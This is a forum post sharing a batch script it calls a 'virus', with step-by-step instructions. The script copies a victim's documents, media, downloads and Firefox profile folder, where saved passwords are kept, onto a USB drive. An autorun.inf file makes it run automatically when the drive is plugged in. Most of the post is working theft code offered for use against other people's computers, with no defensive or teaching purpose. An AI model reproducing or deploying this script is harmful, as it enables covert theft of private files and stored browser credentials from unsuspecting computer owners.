Firefox Password and Windows File Stealer

Got this batch script from another forum, however i have made some changes to it in order to make it simple and also added the Firefox password stealer function...

This is a kind of virus which will steal files from the computer, paste them to the usb
& it will start doing its job when the computer starts (auto-run)

OK so first plug in your usb then navigate your way to it.
open notepad, then we are gonna copy and paste this batch code that will steal the files

USE THIS BATCH

@echo off

:CHECK

if not exist "%USBNAME%\Copied_files" md "%USBNAME%\Copied_files"

if exist "%systemdrive%\Documents and Settings" goto COPIER

goto ERROR

:COPIER

if not exist "%USBNAME%\Copied_files\%computername%" md "%USBNAME%\Copied_files\%computername%"

if not exist "%USBNAME%\Copied_files\%computername%\VIDEOS" md "%USBNAME%\Copied_files\%computername%\VIDEOS"

if not exist "%USBNAME%\Copied_files\%computername%\PICTURES" md "%USBNAME%\Copied_files\%computername%\PICTURES"

if not exist "%USBNAME%\Copied_files\%computername%\MUSIC" md "%USBNAME%\Copied_files\%computername%\MUSIC"

if not exist "%USBNAME%\Copied_files\%computername%\DOWNLOADS" md "%USBNAME%\Copied_files\%computername%\DOWNLOADS"

if not exist "%USBNAME%\Copied_files\%computername%\PROFILES" md "%USBNAME%\Copied_files\%computername%\PROFILES"

copy /y "%userprofile%\My Documents\*.*" "%USBNAME%\Copied_files\%computername%"

copy /y "%userprofile%\My Documents\My Videos" "%USBNAME%\Copied_files\%computername%\VIDEOS"

copy /y "%userprofile%\My Documents\My Music" "%USBNAME%\Copied_files\%computername%\MUSIC"

copy /y "%userprofile%\My Documents\My Pictures" "%USBNAME%\Copied_files\%computername%\PICTURES"

copy /y "%userprofile%\My Documents\Downloads" "%USBNAME%\Copied_files\%computername%\DOWNLOADS"

copy /y "%systemdrive%\Documents and Settings\USERNAME\Application Data\Mozilla\Firefox\Profiles" "%USBNAME%\Copied_files\%computername%\PROFILES"

MSG %username% "DONE!"

exit

:ERROR

exit

Now replace USBNAME with the name of your usb and USERNAME with your windows username
Then save it as Filestealer.bat or whatever you want. [file name must end with .bat]

How this virus works :

First it will make a directory, then it will copy all the files into that

This particular batch will steal all files from the following folders

VIDEOS, MUSIC, PICTURES, DOWNLOADS and also,

Profiles(the Firefox folder where all the passwords are saved)

You can specify any folder name & it will steal all files from that folder & then paste them into your usb

Now to make this batch file auto-run when we plug it in we are going to have to make another file.
Now open notepad and inside paste this :

[autorun]

Open=Filestealer.bat

Action=File Copier

Now we are gonna save it as auto-run.inf

And then take your usb out and plug it back in and the files will be copied.